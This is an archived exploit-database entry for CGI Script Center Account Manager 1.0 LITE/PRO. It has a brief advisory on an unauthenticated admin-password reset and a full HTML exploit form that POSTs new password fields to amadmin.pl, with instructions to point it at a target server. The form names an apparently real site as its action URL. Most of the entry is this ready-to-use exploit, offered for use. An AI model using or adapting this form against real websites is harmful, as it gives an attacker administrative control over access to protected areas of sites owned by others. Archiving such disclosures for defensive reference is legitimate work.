CGI Script Center Account Manager 1.0 LITE / PRO Administrative Password Alteration (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType

CGI Script Center Account Manager 1.0 LITE / PRO Administrative Password Alteration vulnerabilit


                                                source: http://www.securityfocus.com/bid/1604/info
 
Regardless of privilege level, any remote user can modify the administrative password for CGI Script Centers&#39; Account Manager. In order to accomplish this, a user would access the following URL with a POST command:
 
http://target/cgibin/amadmin.pl?setpasswd
 
This would grant the user full administrative privileges which includes the capability of granting and revoking user access to secured areas of the target website.


&#60;FORM ACTION=&#34;http://www.decodeco.com/cgi-bin/acctman/amadmin.pl&#34; METHOD=&#34;POST&#34;&#62;&#60;CENTER&#62;&#60;BR&#62;
&#60;TABLE BORDER=&#34;0&#34; WIDTH=&#34;450&#34;&#62;&#60;TBODY&#62;&#60;COLDEFS&#62;&#60;COLDEF&#62;&#60;/COLDEFS&#62;&#60;ROWS&#62;&#60;TR&#62;&#60;TD
COLSTART=&#34;1&#34;&#62;&#60;P&#62;&#60;B&#62;&#60;FONT FACE=&#34;verdana, arial, helvetica&#34;&#62;&#60;FONT
COLOR=&#34;#FF0000&#34;&#62;Account Manager LITE/PRO&#60;/FONT&#62;:  Password Exploit!&#60;/FONT&#62;&#60;/B&#62;&#60;/P&#62;
&#60;CENTER&#62;&#60;FONT FACE=&#34;verdana, arial, helvetica&#34;&#62;&#60;FONTCOLOR=&#34;#FF0000&#34;&#62;n30&#60;/FONT&#62;&#60;/B&#62;&#60;/P&#62;&#60;/CENTER&#62;
&#60;P&#62;&#60;FONT SIZE=&#34;-1&#34; FACE=&#34;verdana, arial, helvetica&#34;&#62;Please enter your password twice.  Once to set it, and once to confirm it.&#60;/FONT&#62;&#60;/P&#62;
&#60;CENTER&#62;&#60;TABLE BORDER=&#34;0&#34;&#62;&#60;TBODY&#62;&#60;COLDEFS&#62;&#60;COLDEF&#62;&#60;COLDEF&#62;&#60;/COLDEFS&#62;&#60;ROWS&#62;&#60;TR
&#62;&#60;TD ALIGN=&#34;RIGHT&#34; COLSTART=&#34;1&#34;&#62;&#60;INPUT TYPE=&#34;PASSWORD&#34; NAME=&#34;pwd&#34;&#62;&#60;/TD&#62;&#60;TD
COLSTART=&#34;2&#34;&#62;&#60;FONT SIZE=&#34;-2&#34; FACE=&#34;verdana, arial, helvetica&#34;&#62;password&#60;/FONT&#62;&#60;/TD&#62;&#60;/TR&#62;
&#60;TR&#62;&#60;TD ALIGN=&#34;RIGHT&#34; COLSTART=&#34;1&#34;&#62;&#60;INPUT TYPE=&#34;PASSWORD&#34; NAME=&#34;pwd2&#34;&#62;&#60;/TD&#62;&#60;TD
COLSTART=&#34;2&#34;&#62;&#60;FONT SIZE=&#34;-2&#34; FACE=&#34;verdana, arial, helvetica&#34;&#62;confirmation&#60;/FONT&#62;&#60;/TD&#62;&#60;/TR&#62;
&#60;TR&#62;&#60;TD ALIGN=&#34;CENTER&#34; COLSTART=&#34;1&#34;&#62;&#60;BR&#62;&#60;INPUT
TYPE=&#34;SUBMIT&#34; NAME=&#34;setpwd&#34; VALUE=&#34;  Set Password  &#34;&#62;&#60;/TD&#62;&#60;TD COLSTART=&#34;2&#34;&#62;&#60;BR&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;/ROWS&#62;&#60;/TBODY&#62;&#60;/TABLE&#62;&#60;/CENTER&#62;&#60;CENTER&#62;&#60;TABLE
BORDER=&#34;0&#34; WIDTH=&#34;400&#34;&#62;&#60;TBODY&#62;&#60;COLDEFS&#62;&#60;COLDEF&#62;&#60;/COLDEFS&#62;&#60;ROWS&#62;&#60;TR&#62;&#60;TD
COLSTART=&#34;1&#34;&#62;&#60;HR SIZE=&#34;1&#34;&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;TR&#62;&#60;TD ALIGN=&#34;CENTER&#34; COLSTART=&#34;1&#34;&#62;&#60;FONT
SIZE=&#34;-2&#34; FACE=&#34;verdana, arial, helvetica&#34;&#62;&#60;B&#62;Account Manager LITE/PRO Admin Passwerd Exploit
&#60;/B&#62;&#60;/A&#62;&#60;/FONT&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;/ROWS&#62;&#60;/TBODY&#62;&#60;/TABLE&#62;&#60;/CENTER&#62;&#60;/TD&#62;&#60;/TR&#62;&#60;/ROWS&#62;&#60;/TBODY&#62;&#60;/TABLE&#62;&#60;/CENTER&#62;
&#60;CENTER&#62;&#60;FONTSIZE=&#34;1&#34; FACE=&#34;verdana, arial, helvetica&#34;&#62;&#60;B&#62;&#60;BR&#62; To Use Modify Source To Point to amadmin.pl on TARGET Server &#60;BR&#62;&#60;BR&#62;&#60;a href=&#34;mailto:[email protected]&#34;&#62;mail-me&#60;/a&#62;&#60;/CENTER&#62;
&#60;/FORM&#62;

&#60;!-- Shoutz to trib, axess and all who know me! --&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1